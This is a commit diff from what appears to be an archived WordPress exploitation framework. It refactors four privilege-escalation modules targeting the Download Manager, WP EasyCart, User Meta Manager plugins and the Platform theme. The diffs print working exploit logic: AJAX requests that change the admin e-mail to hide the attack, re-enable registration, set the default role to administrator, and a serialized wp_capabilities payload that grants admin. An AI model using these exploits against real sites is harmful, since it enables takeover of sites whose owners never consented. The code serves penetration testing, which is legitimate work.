Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f84cc21

Browse files
committed
Update modules not using declarative authentication
1 parent f29dfe7 commit f84cc21

6 files changed

+111
-203
lines changed

modules/auxiliary/priv_esc/download_manager_authenticated_privilege_escalation.rb

Lines changed: 10 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,11 @@ def initialize
88

99
update_info(
1010
name: 'Download Manager Authenticated Privilege Escalation',
11-
desc: 'The Download Manager plugin, in versions 2.8.4 to 2.8.7, '\
12-
'allows authenticated users to escalate their user role to '\
13-
'that of an administrator.',
11+
desc: %(
12+
The Download Manager plugin, in versions 2.8.4 to 2.8.7,
13+
allows authenticated users to escalate their user role to
14+
that of an administrator.
15+
),
1416
author: [
1517
'James Golovich', # Disclosure
1618
'rastating' # WPXF module
@@ -21,39 +23,19 @@ def initialize
2123
],
2224
date: 'Jan 19 2016'
2325
)
24-
25-
register_options([
26-
StringOption.new(
27-
name: 'username',
28-
desc: 'The username to authenticate with',
29-
default: Utility::Text.rand_alpha(10)
30-
),
31-
StringOption.new(
32-
name: 'password',
33-
desc: 'The password to authenticate with',
34-
default: Utility::Text.rand_alpha(rand(10..20))
35-
)
36-
])
37-
end
38-
39-
def username
40-
normalized_option_value('username')
41-
end
42-
43-
def password
44-
normalized_option_value('password')
4526
end
4627

4728
def check
4829
check_plugin_version_from_readme('download-manager', '2.8.8', '2.8.4')
4930
end
5031

32+
def requires_authentication
33+
true
34+
end
35+
5136
def run
5237
return false unless super
5338

54-
cookie = authenticate_with_wordpress(username, password)
55-
return false unless cookie
56-
5739
body = {
5840
'wpdm_profile' => {
5941
'display_name' => username,
@@ -73,7 +55,7 @@ def run
7355
res = execute_post_request(
7456
url: full_uri,
7557
body: body,
76-
cookie: cookie
58+
cookie: session_cookie
7759
)
7860

7961
if res.code == 302

modules/auxiliary/priv_esc/easy_cart_privilege_escalation.rb

Lines changed: 24 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -10,17 +10,20 @@ def initialize
1010

1111
update_info(
1212
name: 'EasyCart Plugin Privilege Escalation',
13-
desc: 'The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 '\
14-
'allows authenticated users of any user level to set any system '\
15-
'option via a lack of validation in the ec_ajax_update_option and '\
16-
'ec_ajax_clear_all_taxrates functions located in '\
17-
'/inc/admin/admin_ajax_functions.php. The module first changes '\
18-
'the admin e-mail address to prevent any notifications being sent '\
19-
'to the actual administrator during the attack, re-enables user '\
20-
'registration in case it has been disabled and sets the default '\
21-
'role to be administrator. This will allow for the user to create '\
22-
'a new account with admin privileges via the default registration '\
23-
'page found at /wp-login.php?action=register.',
13+
desc: %(
14+
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20
15+
allows authenticated users of any user level to set any system
16+
option via a lack of validation in the ec_ajax_update_option and
17+
ec_ajax_clear_all_taxrates functions located in /inc/admin/admin_ajax_functions.php.
18+
19+
The module first changes the admin e-mail address to prevent any
20+
notifications being sent to the actual administrator during the
21+
attack, re-enables user registration in case it has been disabled
22+
and sets the default role to be administrator. This will allow
23+
for the user to create a new account with admin privileges via
24+
the default registration page found at /wp-login.php?action=register.
25+
),
26+
desc_preformatted: true,
2427
author: [
2528
'rastating' # Discovery and WPXF module
2629
],
@@ -31,69 +34,51 @@ def initialize
3134
],
3235
date: 'Feb 25 2015'
3336
)
34-
35-
register_options([
36-
StringOption.new(
37-
name: 'username',
38-
desc: 'The WordPress username to authenticate with'
39-
),
40-
StringOption.new(
41-
name: 'password',
42-
desc: 'The WordPress password to authenticate with'
43-
)
44-
])
4537
end
4638

4739
def check
4840
check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')
4941
end
5042

51-
def username
52-
datastore['username']
53-
end
54-
55-
def password
56-
datastore['password']
43+
def requires_authentication
44+
true
5745
end
5846

59-
def set_wp_option(name, value, cookie)
47+
def set_wp_option(name, value)
6048
res = execute_post_request(
6149
url: wordpress_url_admin_ajax,
6250
params: { 'action' => 'ec_ajax_update_option' },
6351
body: { 'option_name' => name, 'option_value' => value },
64-
cookie: cookie
52+
cookie: session_cookie
6553
)
6654

6755
if res.nil?
6856
emit_error 'No response from the target', true
69-
else
70-
emit_warning "Server responded with code #{res.code}", true if res.code != 200
57+
elsif res.code != 200
58+
emit_warning "Server responded with code #{res.code}", true
7159
end
7260

73-
return res
61+
res
7462
end
7563

7664
def run
7765
return false unless super
7866

79-
cookie = authenticate_with_wordpress(username, password)
80-
return false unless cookie
81-
8267
new_email = "#{Utility::Text.rand_alpha(5)}@#{Utility::Text.rand_alpha(5)}.com"
8368
emit_info "Changing admin e-mail address to #{new_email}..."
84-
if set_wp_option('admin_email', new_email, cookie).nil?
69+
if set_wp_option('admin_email', new_email).nil?
8570
emit_error 'Failed to change the admin e-mail address'
8671
return false
8772
end
8873

8974
emit_info 'Enabling user registrations...'
90-
if set_wp_option('users_can_register', 1, cookie).nil?
75+
if set_wp_option('users_can_register', 1).nil?
9176
emit_error 'Failed to enable user registrations'
9277
return false
9378
end
9479

9580
emit_info 'Setting the default user role...'
96-
if set_wp_option('default_role', 'administrator', cookie).nil?
81+
if set_wp_option('default_role', 'administrator').nil?
9782
emit_error 'Failed to set the default user role'
9883
return false
9984
end

modules/auxiliary/priv_esc/platform_privilege_escalation.rb

Lines changed: 24 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -9,17 +9,20 @@ def initialize
99

1010
update_info(
1111
name: 'Platform Theme Privilege Escalation',
12-
desc: 'This module exploits a privilege escalation vulnerability in '\
13-
'versions < 1.4.4 of the Platform theme which allows authenticated '\
14-
'users of any level to update any WordPress option.'\
15-
"\n"\
16-
'The module first changes the admin e-mail address to prevent any '\
17-
'notifications being sent to the actual administrator during the '\
18-
'attack, re-enables user registration in case it has been '\
19-
'disabled and sets the default role to be administrator. '\
20-
'This will allow for the user to create a new account with admin '\
21-
'privileges via the default registration page found at '\
22-
'/wp-login.php?action=register.',
12+
desc: %(
13+
This module exploits a privilege escalation vulnerability in
14+
versions < 1.4.4 of the Platform theme which allows authenticated
15+
users of any level to update any WordPress option.
16+
17+
The module first changes the admin e-mail address to prevent any
18+
notifications being sent to the actual administrator during the
19+
attack, re-enables user registration in case it has been
20+
disabled and sets the default role to be administrator.
21+
This will allow for the user to create a new account with admin
22+
privileges via the default registration page found at
23+
/wp-login.php?action=register.
24+
),
25+
desc_preformatted: true,
2326
author: [
2427
'Marc-Alexandre Montpas', # Vulnerability discovery
2528
'rastating' # WPXF module
@@ -30,39 +33,22 @@ def initialize
3033
],
3134
date: 'Jan 21 2015'
3235
)
33-
34-
register_options([
35-
StringOption.new(
36-
name: 'username',
37-
desc: 'The WordPress username to authenticate with',
38-
required: true
39-
),
40-
StringOption.new(
41-
name: 'password',
42-
desc: 'The WordPress password to authenticate with',
43-
required: true
44-
)
45-
])
46-
end
47-
48-
def username
49-
datastore['username']
50-
end
51-
52-
def password
53-
datastore['password']
5436
end
5537

5638
def check
5739
check_theme_version_from_style('platform', '1.4.4')
5840
end
5941

60-
def set_wp_option(name, value, cookie)
42+
def requires_authentication
43+
true
44+
end
45+
46+
def set_wp_option(name, value)
6147
res = execute_post_request(
6248
url: wordpress_url_admin_ajax,
6349
params: { 'action' => 'pagelines_ajax_save_option' },
6450
body: { 'option_name' => name, 'option_value' => value },
65-
cookie: cookie
51+
cookie: session_cookie
6652
)
6753

6854
if res.nil?
@@ -73,30 +59,27 @@ def set_wp_option(name, value, cookie)
7359
emit_success "Option \"#{name}\" appears to have been set", true
7460
end
7561

76-
return res
62+
res
7763
end
7864

7965
def run
8066
return false unless super
8167

82-
cookie = authenticate_with_wordpress(username, password)
83-
return false unless cookie
84-
8568
new_email = "#{Utility::Text.rand_alpha(5)}@#{Utility::Text.rand_alpha(5)}.com"
8669
emit_info "Changing admin e-mail address to #{new_email}..."
87-
if set_wp_option('admin_email', new_email, cookie).nil?
70+
if set_wp_option('admin_email', new_email).nil?
8871
emit_error 'Failed to change the admin e-mail address'
8972
return false
9073
end
9174

9275
emit_info 'Enabling user registrations...'
93-
if set_wp_option('users_can_register', 1, cookie).nil?
76+
if set_wp_option('users_can_register', 1).nil?
9477
emit_error 'Failed to enable user registrations'
9578
return false
9679
end
9780

9881
emit_info 'Setting the default user role...'
99-
if set_wp_option('default_role', 'administrator', cookie).nil?
82+
if set_wp_option('default_role', 'administrator').nil?
10083
emit_error 'Failed to set the default user role'
10184
return false
10285
end

modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb

Lines changed: 8 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,11 @@ def initialize
88

99
update_info(
1010
name: 'User Meta Manager <= 3.4.6 Privilege Escalation',
11-
desc: 'The User Meta Manager plugin, up to and including version '\
12-
'3.4.6, allows authenticated users of any level to update the '\
13-
'role of any user to be an administrator.',
11+
desc: %(
12+
The User Meta Manager plugin, up to and including version
13+
3.4.6, allows authenticated users of any level to update the
14+
role of any user to be an administrator.
15+
),
1416
author: [
1517
'Panagiotis Vagenas', # Vulnerability discovery
1618
'rastating' # WPXF module
@@ -27,26 +29,12 @@ def initialize
2729
name: 'user_id',
2830
desc: 'The ID of the user to make an admin',
2931
required: true
30-
),
31-
StringOption.new(
32-
name: 'username',
33-
desc: 'The username to register with',
34-
default: Utility::Text.rand_alpha(10)
35-
),
36-
StringOption.new(
37-
name: 'password',
38-
desc: 'The password to register with',
39-
default: Utility::Text.rand_alpha(rand(10..20))
4032
)
4133
])
4234
end
4335

44-
def username
45-
normalized_option_value('username')
46-
end
47-
48-
def password
49-
normalized_option_value('password')
36+
def requires_authentication
37+
true
5038
end
5139

5240
def user_id
@@ -60,9 +48,6 @@ def check
6048
def run
6149
return false unless super
6250

63-
cookie = authenticate_with_wordpress(username, password)
64-
return false unless cookie
65-
6651
res = execute_post_request(
6752
url: wordpress_url_admin_ajax,
6853
params: {
@@ -75,7 +60,7 @@ def run
7560
'umm_meta_value[]' => 'a:1:{s:13:"administrator";b:1;}',
7661
'umm_meta_key[]' => 'wp_capabilities'
7762
},
78-
cookie: cookie
63+
cookie: session_cookie
7964
)
8065

8166
if res.code == 200 && res.body =~ /Meta data successfully updated/i

0 commit comments

Comments
 (0)